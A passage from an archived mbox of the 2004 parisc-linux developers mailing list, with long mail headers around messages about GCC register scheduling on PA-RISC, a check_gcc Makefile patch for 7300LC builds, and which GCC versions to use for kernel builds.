	by free.linux.hp.com (Postfix) with ESMTP id D3B1F3BE6D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Jun 2004 18:25:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02981-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Jun 2004 18:25:06 -0600 (MDT)
Original-Received: from stout.engsoc.org (stout.engsoc.carleton.ca [134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 790593BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Jun 2004 18:25:05 -0600 (MDT)
Original-Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca
	[134.117.69.26])
	by stout.engsoc.org (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i5I0Oehk024449; Thu, 17 Jun 2004 20:24:40 -0400
Original-Received: from kyle by lager.engsoc.carleton.ca with local (Exim 3.36 #1
	(Debian)) id 1Bb79b-0002Ab-00; Thu, 17 Jun 2004 20:22:47 -0400
Content-Disposition: inline
In-Reply-To: <20040616194411.GB3412@baldric.uwo.ca>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21740

On Wed, Jun 16, 2004 at 03:44:11PM -0400, Carlos O'Donell wrote:
> Just a heads up.
> 
I know you already know this, but for posterity's sake, I'm following up
with the GCC bug that Randolph filed for this.

http://gcc.gnu.org/bugzilla/show_bug.cgi?id=14782

Regards,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rwhaley@cs.utk.edu (R Clint Whaley)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc register assignment problem on parisc
Date: Fri, 18 Jun 2004 15:01:07 -0400 (EDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <20040618190107.4EC4F4F24E@enterprise.cs.utk.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623479 9987 80.91.229.3 (22 Nov 2014 02:31:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:19 +0000 (UTC)
To: camm@enhanced.com,
 parisc-linux@lists.parisc-linux.org,
 rwhaley@cs.utk.edu
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9542 invoked by uid 65534); 18 Jun 2004 19:02:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 18 Jun 2004 21:02:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4D5F63BDFC; Fri, 18 Jun 2004 13:02:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11802-10; Fri, 18 Jun 2004 13:02:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4417E3BDFF; Fri, 18 Jun 2004 13:01:14 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 808DE3BDF9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 13:01:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11802-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 13:01:10 -0600 (MDT)
Original-Received: from smtp.cs.utk.edu (klutz.cs.utk.edu [160.36.56.50])
	by free.linux.hp.com (Postfix) with ESMTP id 66D873BDD0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 13:01:10 -0600 (MDT)
Original-Received: from localhost (klutz [127.0.0.1])
	by smtp.cs.utk.edu (Postfix) with ESMTP
	id 6BA60AFE2F; Fri, 18 Jun 2004 15:01:09 -0400 (EDT)
Original-Received: from smtp.cs.utk.edu ([127.0.0.1])
	by localhost (klutz [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 05516-05; Fri, 18 Jun 2004 15:01:08 -0400 (EDT)
Original-Received: from enterprise.cs.utk.edu (enterprise.cs.utk.edu [160.36.58.76])
	by smtp.cs.utk.edu (Postfix) with ESMTP
	id 3206DAFDAB; Fri, 18 Jun 2004 15:01:08 -0400 (EDT)
Original-Received: by enterprise.cs.utk.edu (Postfix, from userid 456)
	id 4EC4F4F24E; Fri, 18 Jun 2004 15:01:07 -0400 (EDT)
X-Virus-Scanned: by amavisd-new and ClamAV at cs.utk.edu
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21741

Guys,

Despite vowing not to spend any time on this old arch, I've spent the last
two days scoping it out in detail.  One thing I noticed is that gcc is able
to run at the same speed as cc for double precision codes, but produces
code that runs roughly half as fast for single precision.

I started looking at the genned assembler, and I think I've figured out why.
parisc allows you to use the 'left' and 'right' parts of a double precision
register as seperate single precision registers.  Therefore, you have
something like 56 single prec regs on this arch!  The bad news, though,
is that the pair must be scheduled as if they were still one reg.  I.e.,
if %fr31L is the target of an operation, and the next operation uses
%fr31R as a target, you have a pipeline stall just as you would if they
were both %fr31L.

HP's cc compiler is aware of this, and does not schedule pieces of a pair
within pipeline distance of each other, but gcc is not, and so it does it
all the time, causing random pipeline stalls throughout all single precision
code.

So, I'm sending this to this list for a couple of reasons.  Anybody here do
numerical work?  If so, do you see single precision underperfoming double?

I also thought someone on this list might have a contact with the gcc guys,
and might be able to get them to give a hoot about this old arch.
There are a couple of fixes that could be applied in gcc fairly easily,
I think.  The hard one is to do like cc, and use all 64 regs, but enforce
the pipeline stall trick.  An easier solution would be to have a flag
that says "use only the left/right of pair".  This would give you only 28
regs instead of 56, but you wouldn't have random stalls, and so performance
would be much improved.

BTW, I'm not a member of this pa-risc mailing list, so CC me if you want
me to see any reply.

Thoughts?
Clint
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A couple of minor patches for 2.6.7-pa1
Date: Fri, 18 Jun 2004 19:11:11 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20040619011111.GA23535@colo.lackof.org>
References: <40D30E3C.1010809@tiscali.be> <40D34A27.8060009@tiscali.be>
	<35844.127.0.0.1.1087594933.squirrel@www.puszczka.com>
	<20040618212600.GB12572@engsoc.org>
	<35884.127.0.0.1.1087595933.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623479 9991 80.91.229.3 (22 Nov 2014 02:31:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andy Walker <ajwalker@broadpark.no>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4874 invoked by uid 65534); 19 Jun 2004 01:12:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx032) with SMTP; 19 Jun 2004 03:12:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 580223BDFC; Fri, 18 Jun 2004 19:11:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17466-02; Fri, 18 Jun 2004 19:11:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E8D1E3BDFF; Fri, 18 Jun 2004 19:11:17 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED9D03BDF9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 19:11:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17211-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 19:11:14 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id BFBE63BDD0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 19:11:13 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id DD50629809B; Fri, 18 Jun 2004 19:11:12 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 23312-05; Fri, 18 Jun 2004 19:11:11 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7555E298092; Fri, 18 Jun 2004 19:11:11 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <35884.127.0.0.1.1087595933.squirrel@www.puszczka.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21742

On Fri, Jun 18, 2004 at 11:58:53PM +0200, Andy Walker wrote:
> Errm, no thank you - unless there are very good reasons why I need a
> new GCC.

If you want 7300LC scheduling support?
There's a whole raft of bug fixes betweem gcc 3.0.4 and gcc 3.3.3.
But I can understand the reluctance to upgrade.

> The automated builds on http://cvs.parisc-linux.org/download/linux-2.6

These are developement kernels. Treat them like "unstable".

> are broken for the B180 config because of this change which sends out
> the message that current versions are broken on 7300LC. Bad message!
> And I don't think we should be forcing GCC upgrades on people like this.

This is not forcing anyone to upgrade unless they want to use
*exactly* that config file. It's not reasonable to build "unstable"
kernel debs from "stable" tool chain.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A couple of minor patches for 2.6.7-pa1
Date: Sat, 19 Jun 2004 02:28:55 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20040619012855.GM20511@parcelfarce.linux.theplanet.co.uk>
References: <40D30E3C.1010809@tiscali.be> <40D34A27.8060009@tiscali.be>
	<35844.127.0.0.1.1087594933.squirrel@www.puszczka.com>
	<20040618212600.GB12572@engsoc.org>
	<35884.127.0.0.1.1087595933.squirrel@www.puszczka.com>
	<20040618215310.GD12572@engsoc.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623480 9994 80.91.229.3 (22 Nov 2014 02:31:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@engsoc.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21425 invoked by uid 65534); 19 Jun 2004 01:29:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 19 Jun 2004 03:29:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 01D013BE27; Fri, 18 Jun 2004 19:29:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17848-01; Fri, 18 Jun 2004 19:29:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D69A93BE35; Fri, 18 Jun 2004 19:29:01 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9CF7A3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 19:28:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17664-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 19:28:58 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 046E53BDF9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 19:28:57 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1BbUf9-0004Vm-Sr; Sat, 19 Jun 2004 02:28:55 +0100
Content-Disposition: inline
In-Reply-To: <20040618215310.GD12572@engsoc.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21743

On Fri, Jun 18, 2004 at 05:53:10PM -0400, Kyle McMartin wrote:
> willy posted a patch that checks the gcc version and uses 7100 or 7300
> based on it.

Actually, I didn't.  Can anyone test this for me?

Index: arch/parisc/Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/Makefile,v
retrieving revision 1.12
diff -u -p -r1.12 Makefile
--- arch/parisc/Makefile        19 Apr 2004 22:32:49 -0000      1.12
+++ arch/parisc/Makefile        19 Jun 2004 01:28:37 -0000
@@ -48,7 +48,7 @@ cflags-y      += -ffunction-sections
 cflags-$(CONFIG_PA7100)                += -march=1.1 -mschedule=7100
 cflags-$(CONFIG_PA7200)                += -march=1.1 -mschedule=7200
 cflags-$(CONFIG_PA7100LC)      += -march=1.1 -mschedule=7100LC
-cflags-$(CONFIG_PA7300LC)      += -march=1.1 -mschedule=7300
+cflags-$(CONFIG_PA7300LC)      += $(call check_gcc,-march=1.1 -mschedule=7300,-march=1.1 -mschedule=7100LC)
 cflags-$(CONFIG_PA8X00)                += -march=2.0 -mschedule=8000
 
 head-y                 := arch/parisc/kernel/head.o 


-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]      Heads up,
Date: Fri, 18 Jun 2004 21:35:57 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <200406190135.i5J1Zwww001680@hiauly1.hia.nrc.ca>
References: <20040619011714.GC23535@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623480 9996 80.91.229.3 (22 Nov 2014 02:31:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12584 invoked by uid 65534); 19 Jun 2004 01:36:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx020) with SMTP; 19 Jun 2004 03:36:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5E1A73BE35; Fri, 18 Jun 2004 19:36:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17951-04; Fri, 18 Jun 2004 19:36:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8F8293BE3E; Fri, 18 Jun 2004 19:36:04 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 234113BE27
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 19:36:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17661-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 19:36:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CDC113BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 19:35:59 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i5J1ZwCp001682; Fri, 18 Jun 2004 21:35:58 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i5J1Zwww001680;
	Fri, 18 Jun 2004 21:35:58 -0400 (EDT)
In-Reply-To: <20040619011714.GC23535@colo.lackof.org> from "Grant Grundler" at
	Jun 18, 2004 07:17:14 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21744

> On Fri, Jun 18, 2004 at 05:25:05PM -0400, Kyle McMartin wrote:
> > gcc-3.4-hppa (or gcc-3.3-hppa)
> 
> Should I be testing 64-bit kernels built with this toolchain
> or stick with my trusty gcc 3.0.4-hppa64 handmade debs?

>>From my perspective, the 3.4 branch is the best yet.  By this, I
mean it has the fewest bugs in the PA backend.  However, there are
lots of other changes that may bite ...

Randolph's PR (the one that started this thread) isn't fixed and
hasn't been seriously researched (too many other issues).  However,
it's obviously a serious issue for the kernel.  So, maybe you should
use 3.0.4 for kernel builds until it's resolved.  For other uses, I
suggest 3.3.4 (released?) or the soon to be released 3.4.1.  3.5 is
for Joel to test ;-)

If anyone out there wants to learn more than they really wanted
to know about GCC and binutils internals, let me know as there
are a number of projects that need working on.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]      Heads up,
Date: Fri, 18 Jun 2004 22:20:50 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200406190220.i5J2KpJb001851@hiauly1.hia.nrc.ca>
References: <20040619015455.GE12572@engsoc.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623480 9998 80.91.229.3 (22 Nov 2014 02:31:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@engsoc.org (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25772 invoked by uid 65534); 19 Jun 2004 02:21:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx013) with SMTP; 19 Jun 2004 04:21:21 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 535F53BE51; Fri, 18 Jun 2004 20:21:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18447-04; Fri, 18 Jun 2004 20:21:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 129B33BE3E; Fri, 18 Jun 2004 20:20:57 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED31F3BE35
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 20:20:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
